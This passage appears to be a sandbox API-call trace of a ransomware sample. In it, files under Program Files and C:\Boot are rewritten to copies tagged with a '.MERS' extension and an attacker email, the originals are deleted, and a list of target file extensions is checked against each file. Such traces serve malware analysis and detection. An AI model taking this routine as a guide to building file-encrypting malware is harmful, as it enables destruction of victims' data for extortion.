lstrlenW (lpString=".rar") returned 4 [0051.218] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.218] lstrlenW (lpString=".bz2") returned 4 [0051.218] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.218] lstrlenW (lpString=".7z") returned 3 [0051.218] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.218] lstrlenW (lpString=".dbf") returned 4 [0051.218] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.218] lstrlenW (lpString=".1cd") returned 4 [0051.218] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF") returned 74 [0051.218] lstrlenW (lpString=".jpg") returned 4 [0051.218] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.218] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0051.218] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.226] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=30170) returned 1 [0051.226] CloseHandle (hObject=0x214) returned 1 [0051.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0051.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.226] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.226] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.229] GetLastError () returned 0x0 [0051.229] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x75da, lpOverlapped=0x0) returned 1 [0051.279] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0051.280] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.280] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.281] SetEndOfFile (hFile=0x21c) returned 1 [0051.281] CloseHandle (hObject=0x21c) returned 1 [0051.281] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.281] SetEndOfFile (hFile=0x214) returned 1 [0051.282] CloseHandle (hObject=0x214) returned 1 [0051.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.282] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0051.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0051.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0051.282] lstrlenW (lpString=".doc") returned 4 [0051.282] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.282] lstrlenW (lpString=".docx") returned 5 [0051.282] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.282] lstrlenW (lpString=".pdf") returned 4 [0051.282] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.282] lstrlenW (lpString=".xls") returned 4 [0051.282] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.282] lstrlenW (lpString=".xlsx") returned 5 [0051.282] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.282] lstrlenW (lpString=".ppt") returned 4 [0051.282] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0051.283] lstrlenW (lpString=".zip") returned 4 [0051.283] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.283] lstrlenW (lpString=".rar") returned 4 [0051.283] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.283] lstrlenW (lpString=".bz2") returned 4 [0051.283] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.283] lstrlenW (lpString=".7z") returned 3 [0051.283] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0051.283] lstrlenW (lpString=".dbf") returned 4 [0051.283] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0051.283] lstrlenW (lpString=".1cd") returned 4 [0051.283] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0051.283] lstrlenW (lpString=".jpg") returned 4 [0051.283] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.284] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.284] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.284] GetLastError () returned 0x0 [0051.284] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0051.433] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0051.434] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.434] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.435] SetEndOfFile (hFile=0x21c) returned 1 [0051.435] CloseHandle (hObject=0x21c) returned 1 [0051.435] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.435] SetEndOfFile (hFile=0x214) returned 1 [0051.436] CloseHandle (hObject=0x214) returned 1 [0051.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.437] lstrlenW (lpString=".doc") returned 4 [0051.437] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.437] lstrlenW (lpString=".docx") returned 5 [0051.437] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0051.437] lstrlenW (lpString=".pdf") returned 4 [0051.437] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.437] lstrlenW (lpString=".xls") returned 4 [0051.437] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.437] lstrlenW (lpString=".xlsx") returned 5 [0051.437] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0051.437] lstrlenW (lpString=".ppt") returned 4 [0051.437] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.437] lstrlenW (lpString=".zip") returned 4 [0051.437] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.437] lstrlenW (lpString=".rar") returned 4 [0051.437] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.437] lstrlenW (lpString=".bz2") returned 4 [0051.437] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.437] lstrlenW (lpString=".7z") returned 3 [0051.437] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.437] lstrlenW (lpString=".dbf") returned 4 [0051.437] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.438] lstrlenW (lpString=".1cd") returned 4 [0051.438] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0051.438] lstrlenW (lpString=".jpg") returned 4 [0051.438] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.438] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=944994) returned 1 [0051.438] CloseHandle (hObject=0x214) returned 1 [0051.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0051.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.438] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.438] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.439] GetLastError () returned 0x0 [0051.439] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0051.809] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0051.979] ReadFile (in: hFile=0x214, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.979] WriteFile (in: hFile=0x21c, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.979] SetEndOfFile (hFile=0x21c) returned 1 [0051.980] CloseHandle (hObject=0x21c) returned 1 [0051.980] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.980] SetEndOfFile (hFile=0x214) returned 1 [0051.987] CloseHandle (hObject=0x214) returned 1 [0051.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.988] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0051.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0051.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0051.988] lstrlenW (lpString=".doc") returned 4 [0051.988] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.988] lstrlenW (lpString=".docx") returned 5 [0051.988] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.988] lstrlenW (lpString=".pdf") returned 4 [0051.988] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.988] lstrlenW (lpString=".xls") returned 4 [0051.988] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.988] lstrlenW (lpString=".xlsx") returned 5 [0051.988] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.988] lstrlenW (lpString=".ppt") returned 4 [0051.989] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0051.989] lstrlenW (lpString=".zip") returned 4 [0051.989] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.989] lstrlenW (lpString=".rar") returned 4 [0051.989] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.989] lstrlenW (lpString=".bz2") returned 4 [0051.989] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.989] lstrlenW (lpString=".7z") returned 3 [0051.989] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0051.989] lstrlenW (lpString=".dbf") returned 4 [0051.989] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0051.989] lstrlenW (lpString=".1cd") returned 4 [0051.989] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0051.989] lstrlenW (lpString=".jpg") returned 4 [0051.989] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 Thread: id = 14 os_tid = 0xa08 [0033.671] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x3850260 [0033.671] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x3860268 [0033.671] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640460 [0033.671] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x6430c0 [0033.671] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640478 [0033.671] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3a50020 [0033.672] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640490 [0033.672] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640490, Size=0x20) returned 0x66f610 [0033.672] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640490 [0033.672] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640490, Size=0x20) returned 0x66f5c0 [0033.672] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.672] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.672] Wow64DisableWow64FsRedirection (in: OldValue=0x2ecff58 | out: OldValue=0x2ecff58*=0x0) returned 1 [0033.672] lstrlenW (lpString="kernel32.dll") returned 12 [0033.672] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.672] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.672] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.672] Sleep (dwMilliseconds=0x64) [0033.904] lstrcmpiW (lpString1=".ttf", lpString2=".MERS") returned 1 [0033.905] lstrlenW (lpString="kor_boot.ttf") returned 12 [0033.905] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.941] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2371360) returned 1 [0033.941] CloseHandle (hObject=0x1a4) returned 1 [0033.941] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0033.941] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.941] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0033.941] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.941] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.941] lstrlenW (lpString=".doc") returned 4 [0033.941] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.941] lstrlenW (lpString=".docx") returned 5 [0033.941] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.941] lstrlenW (lpString=".pdf") returned 4 [0033.941] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.941] lstrlenW (lpString=".xls") returned 4 [0033.941] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.941] lstrlenW (lpString=".xlsx") returned 5 [0033.941] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.941] lstrlenW (lpString=".ppt") returned 4 [0033.941] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.941] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.941] lstrlenW (lpString=".zip") returned 4 [0033.941] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.941] lstrlenW (lpString=".rar") returned 4 [0033.941] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.941] lstrlenW (lpString=".bz2") returned 4 [0033.942] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString=".7z") returned 3 [0033.942] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.942] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.942] lstrlenW (lpString=".dbf") returned 4 [0033.942] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.942] lstrlenW (lpString=".1cd") returned 4 [0033.942] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.942] lstrlenW (lpString=".jpg") returned 4 [0033.942] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.942] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.942] lstrlenW (lpString=".doc") returned 4 [0033.942] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString=".docx") returned 5 [0033.942] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.942] lstrlenW (lpString=".pdf") returned 4 [0033.942] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString=".xls") returned 4 [0033.942] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.942] lstrlenW (lpString=".xlsx") returned 5 [0033.942] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.942] lstrlenW (lpString=".ppt") returned 4 [0033.942] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.942] lstrlenW (lpString=".zip") returned 4 [0033.942] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.942] lstrlenW (lpString=".rar") returned 4 [0033.942] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString=".bz2") returned 4 [0033.942] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.942] lstrlenW (lpString=".7z") returned 3 [0033.943] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.943] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.943] lstrlenW (lpString=".dbf") returned 4 [0033.943] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.943] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.943] lstrlenW (lpString=".1cd") returned 4 [0033.943] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.943] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0033.943] lstrlenW (lpString=".jpg") returned 4 [0033.943] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.943] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.943] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.943] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0033.943] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=93248) returned 1 [0033.943] CloseHandle (hObject=0x1a4) returned 1 [0033.943] GetFileAttributesW 